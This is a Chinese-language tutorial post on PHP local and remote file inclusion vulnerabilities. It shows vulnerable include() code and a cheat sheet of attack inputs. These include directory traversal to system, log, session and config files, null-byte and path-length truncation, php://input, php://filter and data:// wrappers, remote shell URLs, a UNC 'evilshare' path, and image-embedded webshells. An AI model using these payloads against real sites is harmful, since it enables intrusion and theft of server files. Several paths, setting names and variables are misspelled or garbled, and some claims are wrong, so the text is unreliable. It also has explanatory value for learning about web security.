您的位置:首页 > 编程语言 > PHP开发

PHP文件包含漏洞

2016-05-04 14:27 741 查看
PHP文件包含漏洞

php的函数引入文件是,由于传入的文件没有经过合理的校验,从而操作了预想之外的文件,就可以导致意外的文件泄露,甚至导致恶意代码的注入。

基本的代码:

If($_GET[‘func’])

{

Include $_GET[‘func’]

}

Else

{

Include ‘default.php’

}

本意运行的是http://127.0.0.1/index.php?func=add.php,结果在后面默认运行了default.php

如果黑客运行自己上传的图片马,那么包含一句话木马,我们是不是就绕过过滤了。

http://127.0.0.1/index.php?func=upload/pic/evil.jpg

evil.jpg是黑客上传上去的图片吗,里面有恶意的php代码

LFI本地文件包含漏洞:

(1),普通的本地文件包含

<?php
include(“inc/” . $GET[‘file’]); ?>

包含同目录下的文件:

?file=.htaccess

目录遍历

?file=../…/../var/lib/flag.txt

包含错误的日志

?file=../../../var/log/access.log

常见的一些路径

/var/log/apache/access_log

/var/www/logs/access_log

/var/log/asscess_log



获取web目录或者其他的配置文件

?file=../../../httpd.conf

包含上传的附件

?file=../../../xx.file

读取session文件

/file=../../../tmp/sess_tnrdo

(2)有限制的本地包含

<?php
include(“inc/” . $GET[‘file’] . “.htm”); ?>

%00截断:

?file=../../../etc/pwd%00

%00截断目录遍历

?../../../../www/%00

路径长度截断:

?file=../../../etc/pwd/././.[…]/././.

点号截断:

?file=../../../boot.ini/….[…]………

RFI(远程文件包含漏洞)

三大条件:

All_url_fopen=On(默认开启)

Allow_url_include=On(默认关闭)

被包含的遍历前没有目录的限制

(1)普通远程文件包含

<?php include($GET[‘file’]);?>

远程代码执行:

?file=http://www.baidu.com/index.php

利用php流input;

?file=php://input

利用php流filter:

?file=php://filter/convert/resource=index.php

利用data URLs:

?file=data://text/plain;base64,URL(可以远程包含一句话木马链接)

利用xss执行任意代码

?file=http://127.0.0.1/path/xss.php?xss=phpcode

有限制的远程文件包含

<?php include($_GET[‘FILE’]
. “.htm”); ?>

?file=http://www.baidu.com/shell

?file=http://www.baidu.com/shell.txt?

?file=http://www.baidu.com/shell.txt%23

?file=\evilshare\shell.php

来自为知笔记(Wiz)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: